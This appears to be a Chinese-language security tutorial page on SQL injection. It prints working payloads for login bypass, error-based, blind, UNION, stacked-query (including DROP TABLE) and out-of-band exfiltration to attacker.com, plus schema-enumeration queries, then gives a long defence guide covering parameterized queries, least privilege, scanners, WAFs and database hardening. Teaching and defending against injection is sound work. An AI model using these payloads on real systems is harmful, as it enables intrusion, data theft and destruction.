萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 無線網路知識

SQL Injection 攻擊原理深度解析與完整防禦指南

SQL 注入攻擊:原理、技術細節與企業級防禦體系

SQL Injection (SQLi) 仍位居 OWASP Top 10 首位,是 Web 應用程式最嚴重、最普遍的安全弱點。本文深度解析攻擊原理、進階利用技術,並提供從開發、測試、部署到營運的全生命週期防禦指南。

一、攻擊核心原理:資料與代碼未分離

應用程式將不可信使用者輸入直接拼接進 SQL 查詢字串,導致資料庫將輸入視為 SQL 指令執行,而非單純資料值。

脆弱代碼範例 (C#/ASP.NET):

string sql = "SELECT * FROM Users WHERE Username = '" + txtUser.Text + "' AND Password = '" + txtPwd.Text + "'";
SqlCommand cmd = new SqlCommand(sql, conn); // 直接拼接,極度危險

攻擊 Payload: `admin' --` 輸入 Username,Password 任意。
產生 SQL:`SELECT * FROM Users WHERE Username = 'admin' --' AND Password = '...'`
`--` 註解掉後續條件,繞過密碼驗證,以 admin 身分登入。

二、進階注入技術分類與實戰手法

1. 基於錯誤訊息 (Error-based)

利用資料庫錯誤回顯提取資料。
Payload: `' AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@version), 0x7e), 1) --` (MySQL)
回顯錯誤訊息中包含版本資訊。

2. 基於布林盲注 (Boolean-based Blind)

無錯誤回顯,透過頁面邏輯差異 (True/False) 逐位推斷資料。
Payload: `' AND (SELECT SUBSTRING(@@version,1,1))='5' --` → 頁面正常 (True) → 版本以 5 開頭。
自動化工具: SQLMap `--technique=B`。

3. 基於時間延遲盲注 (Time-based Blind)

無頁面差異,透過執行時間差異推斷。
Payload: `' AND IF((SELECT SUBSTRING(@@version,1,1))='5', SLEEP(5), 0) --` (MySQL)
頁面延遲 5 秒 → True。
自動化: SQLMap `--technique=T`。

4. UNION 聯合查詢注入

前提:原查詢回顯多欄位、欄位數可控。
步驟:
1. 確定欄位數:`' ORDER BY 1--`, `ORDER BY 2--`... 直到報錯,前一個數即欄位數。
2. 確定顯示位:`' UNION SELECT 1,2,3,NULL--` 觀察哪個數字出現在頁面。
3. 提取資料:`' UNION SELECT 1, username, password, 4 FROM users --`。
關鍵限制:UNION 兩側欄位數、資料型別必須相容。Oracle 嚴格檢查型別;SQL Server 隱含轉換較寬鬆。

5. 堆疊查詢 / 多重陳述式

支援批次執行的資料庫 (SQL Server, PostgreSQL, SQLite) 可執行任意 SQL:
`'; DROP TABLE users; --`
MySQL/PHP `mysqli` 預設單查詢,需 `mysqli_multi_query` 或 PDO `MYSQL_ATTR_MULTI_STATEMENTS` 才生效。

6. Out-of-Band (OOB) 注入

無回顯、無時間延遲環境,利用資料庫外部連線功能外帶資料:
MySQL: `LOAD_FILE('\\\\attacker.com\\share\\')`、PostgreSQL: `COPY ... TO PROGRAM 'curl attacker.com/$(SELECT passwd FROM users)'`、SQL Server: `xp_dirtree '\\\\attacker.com\\share'`、Oracle: `UTL_HTTP.REQUEST`。
需資料庫具備外部網路存取權限與高權限。

三、資訊蒐集與攻擊面擴大

Schema 枚舉 (SQL Server 範例)

-- 取得所有使用者資料表
SELECT name FROM sysobjects WHERE xtype = 'U';
-- 取得指定資料表欄位
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders');

MySQL: `information_schema.tables/columns`。Oracle: `all_tables/tab_columns`。Access: `MSysObjects` (需權限)。

單筆/分頁資料提取

-- 第一筆
' UNION SELECT TOP 1 name, pwd, role FROM users --
-- 後續筆 (NOT IN 排除法)
' UNION SELECT TOP 1 name, pwd, role FROM users WHERE name NOT IN ('admin') --

四、企業級完整防禦體系:多層次纵深防禦

層級 1:開發階段 - 根除源頭 (最高效、成本最低)

  • 參數化查詢 / 預處理語句 (Prepared Statements) - 唯一根本解法:
    // C# 正確寫法
    string sql = "SELECT * FROM Users WHERE Username = @User AND Password = @Pwd";
    SqlCommand cmd = new SqlCommand(sql, conn);
    cmd.Parameters.AddWithValue("@User", txtUser.Text);
    cmd.Parameters.AddWithValue("@Pwd", txtPwd.Text);
    
    資料庫引擎將參數視為純資料,絕不解釋為 SQL 指令。所有動態查詢、INSERT/UPDATE/DELETE、存儲過程呼叫、動態 ORDER BY/WHERE 皆必須參數化。
  • ORM 框架正確使用:Entity Framework `Where(u => u.Name == input)`、Hibernate `createQuery("from User where name=:name").setParameter("name", input)`、Django ORM `User.objects.filter(name=input)` — 內建參數化,**嚴禁** `.raw()`, `.execute()`, `extra(where=[...])` 等原生 SQL 拼接。
  • 輸入驗證與白名單:嚴格型別、長度、格式、範圍驗證 (FluentValidation, Data Annotations)。識別碼/枚舉值嚴格白名單比對。注意:驗證是輔助,不能替代參數化。
  • 最小權限資料庫帳號:Web App 連線帳號僅擁有必要資料表的 SELECT/INSERT/UPDATE/DELETE,**嚴禁** `sa`/`root`/`db_owner`/`DROP`/`CREATE`/`TRUNCATE`/`xp_cmdshell` 等高危權限。

層級 2:測試階段 - 發現殘留漏洞

  • 靜態代碼分析 (SAST):SonarQube, Checkmarx, Fortify, CodeQL 掃描字串拼接模式、缺少參數化、危險 API 呼叫。
  • 動態應用安全測試 (DAST):OWASP ZAP, Burp Suite Scanner, Acunetix, Netsparker 掃描運行中應用,檢測反射/盲注/OOB 注入。
  • 互動式應用安全測試 (IAST):Contrast, Seeker 代理插桿運行時追蹤污點傳播,精準定位漏洞代碼行。
  • 滲透測試:專業紅隊手工驗證業務邏輯漏洞、二階注入、WAF 繞過。

層級 3:部署與營運階段 - 緩解與偵測

  • Web 應用防火牆 (WAF):ModSecurity (OWASP CRS 3.3+)、Cloudflare WAF、AWS WAF、Imperva、FortiWeb。定位:虛擬補丁、緩解 0-day、阻擋自動化掃描、日誌審計。不可替代代碼修補。
  • 資料庫活動監控 (DAM):Imperva, Guardium, DBAudit 監控異常查詢模式 (大量 UNION、SLEEP、LOAD_FILE、系統表查詢)、權限異常提權、大量資料外洩。
  • 錯誤處理與資訊隱藏:生產環境關閉詳細錯誤頁面 (customErrors=On, debug=false),統一友善錯誤頁,記錄詳細錯誤至內部日誌 (Serilog, ELK),不洩露堆疊追蹤、SQL 片段、資料庫結構。
  • 資料庫加固:停用 `xp_cmdshell`、`OPENROWSET`、`LOAD_FILE`、`UTL_HTTP` 等危險擴展/套件;移除預設帳號/範例資料庫;啟用審計 (SQL Server Audit, Oracle AUDIT, MySQL Audit Plugin) 記錄 DDL/DML/登入/失敗登入。

層級 4:事件回應與持續改進

  • 建立 SQLi 事件回應劇本:確認範圍 → 隔離受影響系統 → 保全證據 (日誌、記憶體、流量封包) → 根因分析 (代碼審查) → 修補部署 → 驗證修復 → 事後複盤知識庫沉澱。
  • 定期紅隊演練、紫隊協作、威脅建模 (STRIDE) 更新。
  • 開發者安全編碼培訓 (OWASP Top 10, SANS Top 25),建立「參數化查詢是預設、拼接 SQL 是違規」的工程文化。

快速自檢清單

  • [ ] 所有動態 SQL 是否 100% 使用參數化查詢/預處理語句?
  • [ ] ORM 是否避免使用 Raw SQL/字串拼接 API?
  • [ ] Web App 資料庫帳號是否最小權限 (無 DDL/系統權限)?
  • [ ] 生產環境是否關閉詳細錯誤訊息回顯?
  • [ ] 是否部署 WAF 並啟用 OWASP CRS SQLi 規則集?
  • [ ] 是否有資料庫審計日誌並納入 SIEM 告警?
  • [ ] 危險擴展存儲過程/套件是否已停用?
  • [ ] 團隊最近是否接受過安全編碼訓練?

SQL Injection 可防、可測、可控。關鍵在於將「參數化查詢」內化為工程預設標準,輔以全生命週期驗證與監控,構建不可逾越的資料防線。

copyright © 萬盛學電腦網 all rights reserved